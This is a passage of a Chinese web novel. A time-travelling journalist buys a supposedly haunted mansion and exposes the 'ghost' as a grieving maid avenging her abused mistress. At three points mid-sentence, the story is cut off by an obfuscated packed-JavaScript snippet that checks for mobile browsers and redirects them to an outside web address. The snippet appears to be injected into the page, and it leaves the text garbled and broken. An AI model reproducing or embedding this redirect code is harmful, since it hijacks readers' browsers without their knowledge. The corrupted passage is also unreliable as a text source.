孟允抒没被柜子中的物品吓到,却被萧谨言惊得一颤,差点跌坐在地上。 她回头看看用袖子掩面的萧谨言,索性把他拉了过来,奋力按下他的胳膊:“你看清楚了吗就叫,这有什么可怕的?” 萧谨言定睛一看,柜中整齐地摆放着数个木盒,里面放着五花八门的小玩意,有耀眼华贵的金银首饰,也有半新不旧的典籍,还有万花筒、泥偶、鲁班锁等玩具,应是江氏的遗物。 孟允抒回头问那仆人:“这些首饰价格不菲,你们可是将它遗漏在此?” “呦,应该是忘了。”他惊讶道,“近日我们老爷有要事在身,顾不上清点检查这边的物件。” 他的演技相当拙劣,孟允抒一眼就能识破。 “我们老爷吩咐过,今日若在府中发现什么未曾搬走的物件,不必回禀他,直接将它们一并交给夫人便是。”仆人笑容满面地向孟允抒一行人道喜,“几位真是鸿运当头。” “我看是霉运当头。”萧谨言反驳,“你们怎么能把死人用过的东西丢给我们?” “不能这么说。”孟允抒阻止他继续说下去,笑着对仆人说道,“陈老爷慷慨爽利,我十分感激。他的这份好意我收下了。” 仆人见这桩生意做成的可能性极高,眉开眼笑道:“那我们再去下一间看看。” “你怎么敢要江氏的遗物?”萧谨言口不择言,也顾不上那些礼节,义愤填膺地评价孟允抒,“你当真是要钱不要命。” 君子爱财,取之有道。孟允抒虽然精打细算,但也不会接受这种不义之财。 她这样做完全是因为方才脑海中响起的那句话。 【您已触发任务:三日内探明陈府闹鬼疑云,令其摆脱“凶宅”称号。任务完成后可获得60点声望。】 从一开始孟允抒就不相信陈府真的闹鬼,系统发布的任务更是坐实了她的猜测。查找真相需要一个突破口,看接引人的反应,她觉得江姨娘的这些遗物应该与闹鬼传闻密不可分。 不过,现在报社还没有开始运营,自然没有独家印坊印刷小报,等真相大白之后,她要是再去找郭掌柜,他说不定又得坑自己一笔钱。 孟允抒问系统:“如果我没能在限定时间内完成任务,会有什么后果?” 【每超出一天,会倒扣您10点声望值。当声望值为负时,系统会自动与您解绑。】 孟允抒觉得这系统简直是催稿利器。相比之下,她以前所在的报社编辑堪称温柔,至少不会扣她工资。 小不忍则乱大谋,孟允抒认栽地想,等她查明真相,还是去一趟文昌书坊为妙。 整个陈府已经巡察完毕,孟允抒当即决定将此处定为报社地址。 经过萧谨言的一番阻挠,以及和接引人的唇枪舌战之后,孟允抒成功砍下了一百两银子,最终以两千九百两的价格成交。 接引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310341|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一面摇头叹气,一面急不可耐地拿出契纸:“夫人在空白处签字画押即可。” 契纸一式四份,孟允抒签了名,那仆人将其中一张递给孟允抒:“两份分别给您和老爷,另外两份由我们交到官府那边。” 他交代完必须要走的流程和注意事项之后,如释重负般地笑道:“今日这事就算了结了,我在此提前祝各位金玉满堂。” 告别几人后,他转身拔腿就跑,刚才那副从容的模样荡然无存。 孟允抒看着他仓皇逃窜的背影,感觉他像是生怕被江姨娘的冤魂撵上似的。 “事已至此,你发愁也没用。”孟允抒收好契纸,对蹲在墙角的萧谨言说,“你和秋盈先在此处待着,我回府带几个丫鬟小厮来换你,到时候你就可以回去了。” 萧谨言放过眼前那处被他盯得脱落的墙皮,回头问道:“今晚你们值夜?” 孟允抒点头。 这宅邸现在已经交付到他们手里,陈府那边当然是有多远躲多远。孟允抒他们接下来就要开始收拾房屋、置办器具,夜晚总得留几个人在此处看门。 “不成。”萧谨言站起身,目光在孟允抒和秋盈身上游移了几个来回,“今日是我们头一天来许府,哪能直接让你们两个姑娘家守夜。今晚我带人值夜,要是没什么意外情况,明天再换你们来。” 萧谨言的良心居然压倒了他的恐惧。 秋盈对萧谨言了解不深,还不知道他的拧巴:“萧公子,你方才不是还在害怕吗?怎么又说——” “谁怕了?我不怕!”萧谨言打断秋盈的话犟嘴道,他向两人解释:“我到底是男子,阳气重,能镇得住这宅子。” 孟允抒觉得,他这句话的语气听起来更像是自我鼓励。 秋盈见萧谨言方才的表现,有些不放心地提醒他:“可江姨娘是女子,我听闻女鬼更容易缠上男子,萧公子可要当心。” 这原本是一句好心的叮嘱,但在萧谨言听来,秋盈分明是在恐吓他。 “大不了我多带几人便是。”他的声音不自觉地哆嗦起来,“我卧房有柄桃木剑,之前府里有道士来祈福,他们还给我画了几道符咒,我把这些都统统带上,就不信镇不住那冤魂。” 萧谨言的装备相当齐全,但很可惜,它们大概没什么作用。 “你还不如带柄短刀防身。”孟允抒说,“十有八九是有人装神弄鬼,那些对付鬼魂的东西可伤不了人。” 萧谨言疑惑:“你怎么知道?” “陈府闹鬼的结果便是留下一柜的遗物,如果我没有猜错,闹鬼应该与它有关。”孟允抒笑笑,“冤魂的目的多为报仇索命,只有活人才会在意那些身外之物。” 萧谨言思索片刻,认为孟允抒说得在理:“那你为什么不早点说,害得我担心这么久。” 孟允抒理直气壮地回答:“说得早了,我们哪能用不到三千两的价钱买到这么好的宅子?” 萧谨言这才反应过来,她一直在利用自己,故意给接引人制造恐慌情绪,好让她压价。 他咬牙切齿地骂道:“卑鄙小人。” 孟允抒觉得他骂得挺好,这说明她从郭掌柜那学到了点经商之道。 “言归正传。”她对萧谨言交代道,“你赶快回府带人,待会过来换我和秋盈回去。要是今晚有什么异动,等明早我来了之后你告诉我。” 今天是他们来到陈府的第一天,孟允抒也不敢保证那个鬼魂一定会现身;即使她现身了,又会以什么样的方式出现,她也无法确定。在这种情况下,贸然出击很可能会打草惊蛇,不如先让萧谨言打前锋探听情报。 而且,以萧谨言那种一惊一乍的性格和夸张表述,她或许还能从他口中得到一篇《走近科学》的前半段内容。 12. 撞鬼 翌日一早,孟允抒和秋盈乘着马车再次来到陈府。 两人下了车还没来得及进门,便听得里面传来萧谨言的大喊大叫。 “你走路怎么没声音?”他的声音充满恐惧与愤怒,“说话就说话,干什么从后面拍我!” 听见小厮不住地道歉认错,孟允抒推门进去替他解围,屏退了下人对萧谨言笑道:“怎么了,二公子一大早就发这么大的脾气?” “你们终于来了。” 见到孟允抒和秋盈,萧谨言像是见了救命稻草一般,扑过来紧紧攥住她们的衣袖,神情惊惧,瞪着眼睛急速说道:“咱们今天赶紧收拾东西撤吧,别再和这宅子纠缠,回头赶紧把它转手卖了。” 孟允抒看他的反应就知道,他昨晚应该是撞“鬼”了。 她向萧谨言询问详情:“昨夜你可在宅中遇见了什么怪事?” 秋盈将自己的衣袖从他手里抽出,安抚他道:“萧公子,你先冷静,慢慢说。” 萧谨言一屁股跌回椅子上,神色恍惚。他端起桌上的茶盏喝水,因为他的手抖得太厉害,将茶水洒出来不少。 他勉强喝完剩下的半杯茶水,定了定神道:“陈府的闹鬼传言半点不假,我昨晚亲眼见到了那江氏的魂魄,在窗外连声喊冤。” 他深吸一口气,将事情的经过细细道来。 “昨日你们走后,我便按照孟夫人的安排,在前院、中庭、后院的房间中都布下人手,由我把守江氏的卧房。”他幽怨地看了眼孟允抒。 “到了三更左右,在我昏昏欲睡之际,忽然听得窗外隐约传来女子的哭声,与风吹树叶的声音混在一起,听来格外凄凉哀婉,让人心里发毛。这下我也睡不着了,就起身望向窗外。” “原本中庭的三间房中都亮着烛火,我却亲眼见到那两扇窗户里的烛光依次熄灭,院中顿时一片漆黑。” “等等。”孟允抒打断他的话,抓住一个细节问,“那些烛火不是同时熄灭的?” 萧谨言回忆着昨夜的情景,回答道:“不是。两间房中的光亮是分别暗下去的,两者的时间有一定间隔。” 中庭里的三间房屋分布松散,彼此之间都隔着不短的距离,按照正常人的速度,即使从一间跑步奔向另一间,也得花上十几秒。 由此可见,至少在昨晚的中庭当中,作案人员应该只有一个。 孟允抒又问:“昨夜在这两间房中值守的下人怎么说?” “他们说,因为烛火自熄,他们不敢轻举妄动,就在房中静观其变。”萧谨言回答,“我当时也是这样想的,所以凝神盯着窗外的动静,想看看接下来会发生什么。” 孟允抒与秋盈对视一眼,却并未打断萧谨言的话,让他继续说了下去。 “就在我没防备的时候,一个白色身影呼地一下从我窗前飘过,上面还沾有血迹。”他的语气激动起来,“我看得很仔细,普通人根本不可能跑得那么快,而且那罗裙离地半尺,脚不挨地,这不是鬼是什么?” 孟允抒反问:“那你怎么知道她是江氏的冤魂?” “因为这是她自己亲口所说。”萧谨言的声音中满是恐慌,“她说她是这房间的主人,被王夫人设计害死,我待在这扰了她的清净,命我尽快搬出去,否则下场只会比原来陈府中的人更惨。” “我反应过来,赶紧叫大家来抓鬼,可当众人赶到的时候,那鬼魂早都没了踪影。我们在府中上下仔细搜寻,却一无所获。” 说完,他又极力劝说孟允抒与秋盈离开:“这宅子实在太邪乎了,省钱也不是这么个省法,我们还是另寻别处吧。” 孟允抒注意到秋盈在旁边一言不发,蹙着眉头,似乎正在凝神沉思。 她问秋盈:“你对此事有何看法?” “陈府是否真的闹鬼,此事尚无定论。”秋盈显然并不害怕凶宅传闻,话锋一转道,“只是……” 她看看萧公子,又望望孟允抒,似乎是在征询她的意见。 “你想到什么直说便是,我与萧公子都不会见怪。” 萧谨言也点了头,秋盈开口说道:“萧公子该对身边人严加管教。” 孟允抒满意地夸赞道:“姐姐果然敏锐。” 萧谨言不明白这两人在打什么哑谜:“什么意思?” “他们房中烛火自熄,却没有作出半点反应。”秋盈解释,“更何况院中漆黑,危机暗伏,他们为何不尽快赶往公子身边,对你加以保护?” 她的点拨让萧谨言醍醐灌顶:“也就是说,他们当时并不在中庭。” 秋盈默默点头。 “这帮家伙,光拿钱不办事。”萧谨言马上就要起身去找他们理论,孟允抒拦下他说道:“二公子莫急,容我向他们问问详情。” 那两个在中庭值夜的下人很快被传唤过来,忐忑不安地站在孟允抒等人面前。 孟允抒开口问道:“你们可曾见到那江氏的冤魂?” 左边那人连忙回答:“见到了。” 右边的下人则补充道:“白色罗裙,身着血衣,在院中飘忽不定。” 萧谨言在抓鬼时曾向他们描述过鬼魂的特征,这句话不足以成为任何证词。 孟允抒接着问:“那你们有没有听清楚她说了些什么?” “听清楚了。她说她是被王夫人害死的,还说让我们马上搬走。” 孟允抒笑了笑:“你们的房间与萧公子相隔至少五十米远,又有风声干扰,你们二人如何能听清那鬼魂所说的话?” 两个下人支支吾吾地答不上来。 “你们昨晚根本没在中庭。”萧谨言猛一拍桌怒斥道,“说,你们跑哪去了?” 两个下人脸色一白,慌忙向萧谨言讨饶,请他恕罪。 “你们要是如实招来,我兴许还能放过你们。”萧谨言说,“如有半句假话,你们今天下午就给我从萧府出去!” 孟允抒觉得萧谨言素质挺高,都到这个时候了也不会用脏话骂人。 “是,是。” 左边那个仆人坦白道:“昨晚除了您在的东厢房,其余房间都只留一人看守。熬到半夜,我实在觉得无聊,就和他一起去找前院的人聊上一会。” 右边的仆人证实他的话:“我们本想着在一起说说话,清醒一下就回来,没想到刚走就出了这档子事。” 萧谨言又叫来昨晚在前院值守的仆人和他们当面对质,证明其所言属实。 这样看来,烛火自熄之说根本站不住脚。当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310342|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两间房中无人看守,其他人完全有机会进入房中吹灭蜡烛。 从萧谨言提到的女子哭声和说话声也可以推出,装神弄鬼的人很可能是名女性。 而在前后院中值夜的仆人都并未见到鬼魂,她独独在萧谨言看守的东厢房外徘徊,这也从侧面印证了孟允抒最初的猜测,她果真是冲着江氏的遗物来的。 江氏是内宅女子,只有陈府中的人知晓她的住处并清楚她有何遗物。 孟允抒分析着目前掌握的线索,却发现一个疑点。 如果作案人的目的是取得江氏遗物,她是陈府中人,为何不在江氏死后的那段时间内将遗物转移,而偏偏要费尽心机,来叨扰他们这群外人呢? 看来要想搞清楚事情的真相,她必须抓住这个鬼魂亲身调查一番。 孟允抒看看刚发完一通火的萧谨言,对他笑道:“二公子昨夜辛苦了,今日你先回去歇着,留我们在此处监工看门。” 萧谨言愣了愣,不可思议地问道:“我已经亲眼见到那江氏的冤魂,你们居然不搬走,今晚还要待在此处?” “二公子放心,我已有初步推断,兴许今晚我们就能弄清那鬼魂的真面目了。”孟允抒回答,“若是如此,也能为昨夜的怪象作出解释,不至于让其成为二公子的一处心结。” 萧谨言放心不下孟允抒和秋盈两人,但因他昨日白天忙里忙外,晚上又熬了个通宵,加上见鬼之事让他惊惧不已,府中下人也玩忽职守,值得他劳神的事情太多,他实在是心力交瘁。 “也好,那我回府后再重新派些人来帮你们捉鬼。”萧谨言纠结了一会后终于下定决心,反复叮咛道,“要是情况不妙也不要勉强,性命要紧。我们赶紧从宅子里搬出去就是了。” 孟允抒回府用晚膳时,许昭在桌上提起报社之事,问她置办器具的进展可还顺利。 “一切都好。”说到报社,孟允抒眉飞色舞,滔滔不绝地和许昭说了一大堆白天的见闻,包括她和店家斗智斗勇的过程。 等她反应过来的时候,才发现自己太过聒噪,不好意思地对许昭笑笑:“我打扰公子用膳了。” “不,我觉得你说的甚是有趣。”不知是不是因为孟允抒讲得尽是些市井琐事,她发现许昭的表情是前所未有的放松,始终面带笑意。 他想起另一件事:“对了,昨晚萧公子值夜时,他可曾见到什么异动?” “我正要将此事告知于你。” 孟允抒将萧谨言的见闻以及她的推断全部告诉许昭:“我让萧公子回府了,今晚换我和秋盈值夜,待会得带几个下人一起过去。” 许昭将碗筷放在一边:“此事太过危险,我也随你一同前去。” “不行。”孟允抒一口回绝,“你明日一大早还要上朝,今晚若是值夜,明天怎么能撑得下来?” “无妨。”许昭回答,“刑部若是有急案要审,连续熬几个通宵也是常有的事。” 这句话点醒了孟允抒,许昭在刑部任职,或许他能比自己更快地查出真相。 专业的事自然要交给专业的人办。 “好,那便有劳公子了。” “嗯。”许昭略一点头,对她笑道,“姑娘快些吃吧,待会饭菜该凉了。” 13. 走近科学 当晚,孟允抒封锁前后门,将府中下人分别安排在陈府的各处房间内,让大多数人集中在中庭,留一小部分人看守前后院,并再三叮嘱所有人,在没有接到通知的情况下不得擅离职守。 确保万无一失后,她和秋盈、许昭以及另一名小厮待在东厢房内,守株待兔。 刚入夜时孟允抒还精神抖擞,满怀期待地等着捉鬼,但这份激情没能持续太久,就被瞌睡压了下去。 昏暗的烛光,静谧的环境,全是催眠的好手段。 秋盈见她困得东倒西歪,索性劝她睡一觉:“夫人趴在桌上歇息一会吧。” “不,我要亲眼看看那个鬼的模样。”孟允抒撑起沉重的眼皮,摇摇头让自己清醒些。 在她的视线左右晃动之时,她看见坐在她旁边的许昭还在油灯下看书。 孟允抒瞄了一眼书上密密麻麻的小字,感觉好像更困了。 胤朝没有电,没有手机,更没有网络,一个人晚上在家的时候,除了看书和闲聊以外,似乎也没什么其他的消遣方式。 她想起自己以前熬夜玩手机导致视力下降的事,出言提醒许昭:“许公子,这里光线太暗,你别看书了,伤眼睛。” 他要是近视了,可没有哪个人能给他配副眼镜。 孟允抒见屋里三人都面露倦色,决心和他们聊聊天让大家清醒些。 她随口问许昭:“我见公子平日手不释卷,你是自幼便酷爱读书吗?” “不是。”许昭听从孟允抒的劝告合上书,将手轻轻按在封面上,“我儿时性格顽劣,听见读书便头疼,长大些了才知道在念书上用功。” 这是许昭从未展露出的一面,孟允抒来了兴趣,追问他道:“那你小时候喜欢做些什么?” 听到孟允抒的问题,秋盈和那名小厮也坐直了身子,向许昭投来好奇的目光。 没有人不喜欢听八卦。 面对众人的期待,许昭不好拒绝,就讲起了他的童年旧事。 “我幼时住在一个小村庄里,平日经常和一群同龄伙伴到处做坏事,什么偷鸡摸狗、下河摸鱼、爬树掏鸟窝的事都干,惹得村里人嫌狗厌。” 年幼的孩童多半淘气,他们一旦成群结队,杀伤力更是成倍增长。 孟允抒难以想象,眼前这个冷淡沉静的美男子曾经是个人人喊打的熊孩子。 她用揶揄的语气说道:“没看出来公子身手敏捷,居然还会爬树。” “我那时家贫,日夜饿着肚子,只能花心思找些野味充饥。”许昭有些窘迫地笑笑,“凡是出身乡野的孩子,几乎没有哪个不会爬树。” 民以食为天,尤其在蒙昧无知的幼童眼中,吃饱饭并活下去就是他们最重要的目标。 孟允抒想说些什么来安慰她,却蓦地联想起许昭先前曾问她,与他成婚是否会觉得委屈,他对自己的出身应当十分介怀。若是言语不当,她反而会伤了许昭的自尊。 她盯着桌上的油灯与烛火陷入沉思,却发现火光都一齐向右边倾斜,忽明忽暗地抖动起来。 “起风了。” 孟允抒警觉地望向窗外。 晚风丝丝缕缕地从窗外渗进房间,而后风声越来越大,逐渐转为凄厉的尖啸,院中的树叶也被风声吹得沙沙作响,像是为一场好戏的开幕鼓掌喝彩。 当前已过三更,按照萧谨言的描述,那鬼魂也该来了。 果然,院中忽而响起断断续续的哭声,和着夜风呜咽,哭得人毛骨悚然。 孟允抒抬手示意屋内的人先不要动,屏住呼吸望向窗外。 中庭里的另外两间房依然亮着烛火。 一道白色身影倏地从窗前闪过,孟允抒的视线甚至没能跟上她的速度。 一个饱含愤怒的女声在窗前响起:“昨日我已命令你们搬走,为何你们仍旧停留在此,扰我安宁?” 为了看清那道白色身影的样貌,孟允抒走近窗口高声问道:“打扰姑娘清净实在抱歉,请问你是何人?” 白色衣裙再次从窗前飞过:“此间卧房的主人,陈府江氏。” 这次孟允抒发现,正如萧谨言所说,这鬼魂的裙摆离地面还有一截距离,裙底空荡荡的,并无腿脚的痕迹。 “江姨娘多有误会,我们并非有意扰你,只是想还你一个清白。” 孟允抒用眼神暗示许昭和小厮出门捉鬼,她继续在窗前问话,吸引对方的注意力。 “我听闻姨娘是因重病身亡,这背后是否另有隐情?” “重病身亡?”那女子冷笑一声,“真是个好借口。王夫人——” “老爷小心!” 她的话被院中小厮的惊呼声骤然斩断,再无下文。 孟允抒见状连忙拉着秋盈冲出房门:“情况如何?” 许昭在院中转过身来,将手里的东西拿给孟允抒看:“我出门便见这衣衫在窗前飘荡,用手一扯,它就不再动弹了。” 孟允抒接过他手里的白色衣裙,将它展开,发现上面确实沾染着数片血迹,让人看着触目惊心。 她当即吩咐秋盈和小厮继续守在房中,自己和许昭则去其余房间询问情况。 从前后院走访探查了一圈,值守的下人都说他们不曾离开房间半步,但并未见到鬼魂,也没见到形迹可疑的人员出没。 孟允抒回到东厢房,从秋盈口中听到了同样的答案。 “不过我发现了这个。”秋盈拿来方才的那件血衣,把它凑近烛火,“老爷夫人请看。” 孟允抒看向长衫胸口的位置,发现上面系着一截白色的细线,需要仔细看才能发现。 方才院中光线太暗,他们完全没有察觉到它的痕迹。 孟允抒用手捏了捏那根线,相较于常见的用于缝制衣物的丝线,这根线显然更粗、更有韧性。她将衣物递给许昭,许昭捻弄了一下那条白线,又在灯下观察片刻,得出一个结论。 “鱼线。” 这是一条崭新的线索,但孟允抒没办法将其与先前的事情串联成清晰的逻辑。 许昭也没有再做进一步推断,只是从桌上端起烛台说道:“我再去院中看看。” 孟允抒赞同他的做法。要是能在案发现场发现新的证据,或许能事半功倍。 “我也去。” 她拿了盏油灯,和许昭一同走到院中。 “方才我就是在这里抓住了那件血衣。”许昭停下脚步,给孟允抒划出一个大致范围,“我们在此处找找,看是否还有什么可疑痕迹。” 孟允抒用火光映亮地面,认真察看地上的痕迹,试图从中搜寻出蛛丝马迹来。 “孟姑娘,麻烦你把油灯给我。” 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她继续说道:“那就有劳公子帮我找找,我的手帕是不是被风刮到树上去了。” 许昭走到槐树底下,双手环抱树木,脚一蹬地就窜了上去。 孟允抒懵了。 她没把作案人诈下来,反倒把许昭诓上去了。 “你干什么?”她赶紧挥手让许昭下来,“危险。” 许昭不解:“不是你让爬的吗?” “我——”孟允抒这才反应过来,许昭曲解了她的意思。 她只能将计就计,冲着树顶冷声喊道:“那位不知姓名的姑娘,我知道你在树上。要是你愿意主动下来,我们还可以好好谈谈。” 她给许昭使了个眼色:“还是说,你需要我们亲自请你下来?” 许昭又往上爬了几米,树上终于响起一道惊慌失措的女声:“你们别上来,我、我马上下去。” 许昭从树上退下,孟允抒帮他拍了一阵身上的尘土,一个娇小的身影也轻巧地跳到地面上。 “实在抱歉,我并非有意要吓唬各位大人。” 面前这个女孩看起来只有十三四岁,虽然她正在低头认错,但孟允抒并没有从中听出怯懦的情绪。 “你随我到房里来,与我细说缘由。” 14. 她的名字 孟允抒和许昭进了厢房,在桌边的椅子坐下,那小姑娘站在两人面前,用询问的目光看了看他们身后的秋盈。 秋盈会意地上前介绍:“这位是许老爷,这是孟夫人。” 接着那姑娘便“扑通”一声跪在地上,磕了几个响头:“我绝非故意装神弄鬼,请老爷夫人恕罪。” 孟允抒经不住这样的大礼,差点条件反射地从椅子上蹦起来。 她赶紧说道:“你不用跪我,起来说话。” 女孩站起身来,微微弓起身子,作出俯首认错的模样。 孟允抒习惯通过对方的神态和表情判断其心理活动,于是开口说道:“你把头抬起来,看着我。” 小姑娘按她的命令照做,将面容全部呈现在孟允抒眼前。 这女孩生着一对灵秀的杏眼,在烛火的映照下流光溢彩,微抿的嘴角中莫名显露出狡黠的气息,打眼一看就是个伶俐的姑娘。 孟允抒先从最简单的问题说起:“你叫什么名字,今年几岁了?” “回夫人的话,我叫排云,今年十三。” 孟允抒从她的名字中得出一个结论:“你是陈府中的丫鬟?” 排云点头:“是。” “你为何要装神弄鬼吓唬我们,屡次想把我们赶走?” 孟允抒见排云飞快地瞟了她一眼,直觉告诉她排云接下来所说的话不可信。 她看了看身边的许昭,决定发动狐假虎威的技能。 “这位是刑部郎中许大人,若你有半句假话,我们就会把你抓起来交给官府,定你一个居心叵测,谋财害命的罪名。” 许昭见状,也十分配合地装腔作势,神情威严地点点头。 孟允抒在心里给许昭点了个赞,他的演技真是突飞猛进。 排云没想到许昭是这般来头,赶忙给孟允抒回话:“我说,我说。” 她踌躇片刻又问:“若我如实回答,请问老爷夫人能否保我性命?” “若你并非作奸犯科之徒,我们定然不会加罪于你。” 得到许昭的保证,排云心里似乎有了底,老实回答道:“我只是不想让你们待在江姨娘的房间里,不愿让你们动她的遗物。” 孟允抒有了一个猜测:“你是侍奉江氏的丫鬟?” “对。” “那陈府中闹鬼的事,全是你一手策划?” “是。”排云的声音激动起来,“但我敢发誓,我从未害过他们性命,老爷和下人的死与我无关。” 孟允抒逮住这个关键点问道:“那你说说,陈老爷和府中下人的死因是什么?” “陈老爷是个好色之徒,整日在外寻欢作乐,一早就得了花柳病,他死有余辜。”排云愤慨地骂道,“至于那些下人,则是因为分赃不均互相陷害,导致几人没了性命。” 孟允抒觉得这样东一榔头西一棒追的问答太过混乱,索性让她从头讲起:“你把事情的来龙去脉讲一遍,从你侍奉江氏开始,到你口中所说的她被王夫人设计害死,再到后面你装鬼的事,一一向我们道来。” 排云点头应允。 “江姨娘原本是个小户人家的小姐,她母亲早逝,后来父亲去世家道中落,她继母决定趁早将她嫁给别人,好捞一笔巨额彩礼。陈老爷从旁人那得知此事,因为垂涎江姨娘的美貌和才情,不惜花高价将她迎娶进门。” 排云的声音非常低落。 “我就是那个时候被老爷派去服侍江姨娘的。江姨娘性情温柔,天真单纯又平易近人,因为我年纪小,她甚至常常反过来照顾我,总是怕我累着。平日里老爷将她看得紧,她出不了门,就喜欢向我们打听近期外面发生了什么新鲜有趣的事,和我们这些下人聊天解闷,时常笑得直不起腰。” 孟允抒瞥了眼那个安静立于墙角的柜子。那里面放着各种稀奇古怪的小玩意,从中可以窥见主人的性格。 它们曾经属于这样一个鲜活爱笑的姑娘。 “除此之外,江姨娘最喜欢做的事就是读书。她说,‘读万卷书,行万里路’,她这辈子是做不到后半句了,但她至少有书籍作伴,能从中看到广阔无垠的天地。她总是这样乐观。” 两行眼泪从排云眼中倏然落下,她停顿了许久,才平复好心情继续说下去。 “我原本是个乡下来的野丫头,大字不识几个,但看见江姨娘总是捧着书看,我非常好奇,就问她书上讲了些什么。她说,面对同一篇文章,不同的人有不同的感受,我若只是听她解读,就会失了不少兴味。” “然后她笑着问我,想不想认字。”排云又开始啜泣,“认字以后我就能读书,所以我告诉她,我想识字。” “从那天起,江姨娘每天晚上睡前都会教我识字念书。我记得很清楚,当我第一次完整地念完一篇文章时,江姨娘看起来比我还高兴。” “我也期盼这样的日子能持续下去,但事与愿违。”排云擦了擦眼泪,“陈老爷得了新人,便整日扑在江姨娘房中,招致王夫人的嫉恨。王夫人是陈老爷的发妻,在他还没发迹的时候陪他一起白手起家,没料到他的变心来得如此之快。” “王夫人心机深重,明里暗里地欺负江姨娘,给她使绊子。江姨娘自己也知晓这些,她曾多次向王夫人袒露心迹,说明她只想过安生日子,希望能与王夫人成为一对好姐妹,两人和平共处。” 排云叹了口气:“江姨娘心性善良纯粹,自然将他人想得同她一般美好。王夫人明面上对她的话颇为赞赏,可对付她的手段却日渐阴毒。在她的精心设计之下,陈老爷对江姨娘心生厌弃,到她房中的次数越来越少。” “江姨娘说这样也好,她对陈老爷本来就没多少感情,他走了她反倒落得清净。我也以为从此之后她的日子能好过些。”排云的语气再度变得激昂,“可王夫人不肯善罢甘休。她趁着自己得势,铁了心地要将江姨娘置于死地,以绝后患。” “老爷出门在外时,她就敞开了欺凌虐待江姨娘,让她喝下滚烫的开水,暑天的正午让她跪在院中诵经,诸如此类数不胜数。起初江姨娘还会将此事告知陈老爷,可换来的是老爷的敷衍和厌烦,以及王夫人变本加厉的折磨。长此以往,她便不再向他人求救了。” 说到最后这句话时,排云的眼神十分黯淡。 “数九寒天,王夫人命江姨娘在院中用刺骨的冷水为她洗衣,没多久江姨娘的手上便生出冻疮,到处都是皲裂的伤口,她也染上了风寒。起初她的病情并不严重,只需按时用药就能痊愈,可王夫人却假意关切,说她知道一个偏方,能让江姨娘的病好得更快些。” “几副草药下去,我发现江姨娘的病非但没有好转,反而愈发严重,就找了个时间偷偷前往药铺询问郎中。郎中告诉我,那药方里尽是些寒性的猛药,他们摆明了就是想要江姨娘的性命。” 孟允抒静静地在一旁听着,未发一言。她已经能猜到故事的结局。 “回府之后我将此事告诉江姨娘,她却并不在意。她说,即使她苟活于世,也只是日复一日地忍受非人的生活,还不如让她快些解脱。” “就是在这种情况下,她连笔都拿不稳了,她还坚持教我读书写字。”排云咽下喉头的酸涩,“江姨娘说她时日无多,可教给我的东西能让我走得更远,想 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“后来,府中仆人被吓得魂飞魄散,疯掉的人越多,闹鬼的传言就越发真实,再也没人敢进江姨娘的房间。最后王夫人也受不住这般惊吓,终于失了神智。” 排云长舒一口气:“王夫人固然该死,可真要论起来,此事的罪魁祸首是陈老爷。既然他已经丧命,我也不再追究王夫人的罪过。” “王夫人被接回娘家之后,府中的下人被尽数遣散。后来我听说这宅子被卖了出去。”她沉默片刻,直视着孟允抒的双眼,“此处是江姨娘的房间,留有她的痕迹,是她存在过的唯一证明。我不愿看到她就这样悄无声息地走了,什么都没能留下。” “所以,我扮作脚夫、杂役,趁白天混进雇工当中进入内宅,提前埋伏在树上,翌日再随雇工出去。这是我唯一能为她做的事了。” 待孟允抒回过神想要发问时,她已是泪流满面。 这些年的记者生涯已经让她养成了冷静客观的职业习惯,在采访时鲜少掺杂私人情感,以免让报道有失公允。 可是在今天这件事上她做不到置身事外。 若是江氏还活着,她一定非常愿意加入她的报社,也一定能在新闻事业上大放异彩。 若她并未生在这个时代,而是更遥远的未来,她也能够拥有如她本人一般的美好灿烂的人生。 但这两个假设都不属于她。 屋内的几人一齐陷入长久的静默,半晌无一人开口,似是向江姨娘致以最深切的哀悼。 孟允抒终于找回理智,平复心情问:“你今日所述之事,可有凭据佐证?” 排云对答如流:“郎中那里有看诊记录,我也存着王夫人的那副偏方。这些事府中下人都知道,只是一直被王夫人压着,不许外泄。” 孟允抒有了调查方向,转而问排云:“你不可能一直这样守着江姨娘的卧房和遗物。今后你有什么打算?” “我不知道。”她抬起朦胧的泪眼看向孟允抒,“我一心想着为江姨娘报仇,没想过其余的事。” “她叫什么名字?” 面对这个冷不丁的问题,排云很快反应过来。她的语气铿锵有力。 “她叫江芷兰。” 孟允抒点头。 她有名字。不是作为江家女儿的江氏,不是作为陈老爷侍妾的江姨娘,而是一个独立的人——江芷兰。 孟允抒问排云:“芷兰走了,但她教给你的东西还在,是吗?” “嗯。” “那就让她用另一种方式活下去。”孟允抒笑中含泪,“待此事真相水落石出后,我再与你详谈。” 15. 启业 自孟允抒让陈府闹鬼的内情见报后,消息很快传遍大街小巷,民众对陈老爷、王夫人等人发起猛烈的谴责和唾骂,这两家人犹如过街老鼠,再也不敢光明正大地出门。 